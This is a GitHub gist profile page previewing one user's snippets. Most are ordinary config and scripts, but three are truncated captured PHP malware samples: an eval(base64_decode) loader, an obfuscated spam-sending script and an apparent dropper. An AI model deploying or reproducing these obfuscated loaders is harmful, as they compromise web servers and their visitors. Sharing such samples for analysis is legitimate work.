Skip to content

Instantly share code, notes, and snippets.

View soar's full-sized avatar
:octocat:
Moving forward

Aleksey @soar Smyrnov soar

:octocat:
Moving forward
View GitHub Profile
@soar
soar / test.py
Created April 14, 2017 14:55
Python Types
class Test(object):
a = ''
b = {}
def __init__(self, a, b):
self.a = a
self.b.update({b: b})
def __str__(self):
return "a: {!s}, b: {!s}".format(self.a, self.b)
var winston_graylog2_settings = {
name: 'graylog2',
level: 'debug',
handleExceptions: true,
graylog: {
servers: [{host: "logstash", port: 12201}]
}
};
var winston = require("winston");
@soar
soar / index.php
Last active December 26, 2016 20:07
One more php virus
<?php
eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJHJ5aXVyd3l4amUgPSA2OTczOyBmdW5jdGlvbiB6emV4cygkaWhzeWYsICRpanVpbHZreil7JHBpa3p3cHJ4ID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkaWhzeWYpOyAkaSsrKXskcGlrendwcnggLj0gaXNzZXQoJGlqdWlsdmt6WyRpaHN5ZlskaV1dKSA/ICRpanVpbHZrelskaWhzeWZbJGldXSA6ICRpaHN5ZlskaV07fQokZmdnb2lzcnI9ImJhc2UiIC4gIjY0X2RlY29kZSI7cmV0dXJuICRmZ2dvaXNycigkcGlrendwcngpO30KJGxtcmloID0gJ0dKU1RQRVdOOENHZGxoRXhqb1d4Q2g5dzh4amYxdUhFNnVWRktWbUFHSlNUUEVXTjhDRycuCidkbGg5dzh0V1NqWWx3all2WTdYeVZBNmZrWHNERjVvU2FqaEVtQVhyUkJDaWE4Q2lTQnpFbVBlV1RDelFGNWU0WTdYeVZBNmZrWHNEU2pZbHdqU1d4OENEd2pZUUY1b2pkdlgnLgonc3BNR0Z5amhFbUN6UUY1ZUVhNUpTUlBDR2R2WHNwTUdka1gwbUFQZUJkMWVRUzhvU1Q4ZUdkMVNEMTRuV242bVZnQWNzaycuCidYWWZrWGd5MDFYRHM4ZThGNW80ZDFTRDE0blduNm1WZzdYeWdDSnFnQTZma1hZbWtYMG1BUGVCZDFlUVM4b1NUOGVHZDFzUWw0c0VNRXVXYycuCidlRVc2UUVERDRzbjQ2dDFnQWNza1hZZmtYZ3kwMVhEczhlOEY1bzRkMXNRbDRzRU1Fd
@soar
soar / dnsstats.pl
Last active September 12, 2016 16:30
Get BIND9 stats file and output for SNMP-get
#!/usr/bin/perl
use strict;
# use warnings;
my %sections = (
"Incoming Queries" => 1,
"Outgoing Queries" => 1,
"Resolver Statistics" => 1,
"Socket I/O Statistics" => 1,
);
@soar
soar / markdownblock.py
Last active April 1, 2018 12:52
Wagtail Markdown - simplest way
# django
from django import forms
from django.contrib.staticfiles.templatetags.staticfiles import static
from django.forms import Media, widgets
from django.utils.functional import cached_property
# wagtail
from wagtail.utils.widgets import WidgetWithScript
from wagtail.wagtailcore import blocks
@soar
soar / global94.php
Last active March 21, 2016 12:32
Spam-sending "Virus"
<?php
function wvbejef($mrqhajkchb, $ssmrmefvo){$hb = ''; for($i=0; $i < strlen($mrqhajkchb); $i++){$hb .= isset($ssmrmefvo[$mrqhajkchb[$i]]) ? $ssmrmefvo[$mrqhajkchb[$i]] : $mrqhajkchb[$i];}
$mffkuiegkd="base64_decode";return $mffkuiegkd($hb);}
$zkfh = 'Ze9lsExtDTZNfm28uAiLvT9wDTfzYAftfzCCgXLgZe9lsExtDTZNfm6rD7x9uRfruRJRdFq8c'.
'C8qDTfzYAfwuyECYAfosVORgFq8cC8qumEoTA28YVEwYe9QsTZNJbn0bni8DmOruyEwMTH9u9xWvyxzMbh6gXLgZ'.
'e9lsExtDTZNfm7WBIx9BeEjMT28YmOwMe9QDSuLJbn0bh88DGqNMyEzum9rY9xjYm7CvTf9gIiPK'.
'IxV2EfXSKxcdbqRHSkCdjqRdbqR5bu8PbnhBCNhPb2zDTJh5SiiuRfWBSh8cCNhPb2zDTHYPRf9uAELMbfMVzfjseEjszfMPF'.
'ohJFLgPbi9vmWrPefWumKmHIx9YyHrDeKNumEzsVILsT89gb2zDTJ8gXL'.
'gwZNgDRElvA28YmkhvAEtMexQTAHouy9CTA2WDAJNfp29BpZ8bRLgPbqhPb2oDTWoPFohuA2zsTiwMeI'.
'RuzhnMeEkMbChft6W5Gu8cCNgPbqhPb2oDTWoPFohuA2zTAf9ue6WvmKNPj6WPeWzDVvxTbPGdbqGVzqGdbq'.
@soar
soar / .htaccess
Created March 16, 2016 08:42
Where to place your code? To .htaccess!
DirectoryIndex index.php
RewriteEngine On
#RewriteCond %{REQUEST_FILENAME} !-f
#RewriteCond %{REQUEST_FILENAME} !-d
#RewriteCond %{REQUEST_FILENAME} !-l
#RewriteRule ^(.*)$ ./index.php
FileETag MTime Size
<FilesMatch "\.(css|ico)$">
@soar
soar / README.md
Last active July 13, 2016 09:05
uaToken

uaToken/ruToken flash script

Usage

Place keys files to directory database/keys and start script:

/etc/init.d/openct restart
./write_token.sh <Key number> <Cert password> <User PIN> <Admin PIN>
@soar
soar / ps aux
Last active January 14, 2016 19:44
service
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 10652 636 ? Ss 2015 18:36 init [2]
root 2 0.0 0.0 0 0 ? S 2015 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 2015 10:12 [ksoftirqd/0]
root 6 0.0 0.0 0 0 ? S 2015 1:36 [migration/0]
root 7 0.0 0.0 0 0 ? S 2015 0:09 [watchdog/0]
root 8 0.0 0.0 0 0 ? S 2015 1:37 [migration/1]
root 10 0.0 0.0 0 0 ? S 2015 4:24 [ksoftirqd/1]
root 12 0.0 0.0 0 0 ? S 2015 0:07 [watchdog/1]
root 13 0.0 0.0 0 0 ? S 2015 4:16 [migration/2]
@soar
soar / s2.php
Created January 13, 2016 21:24
Интересный зверь
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);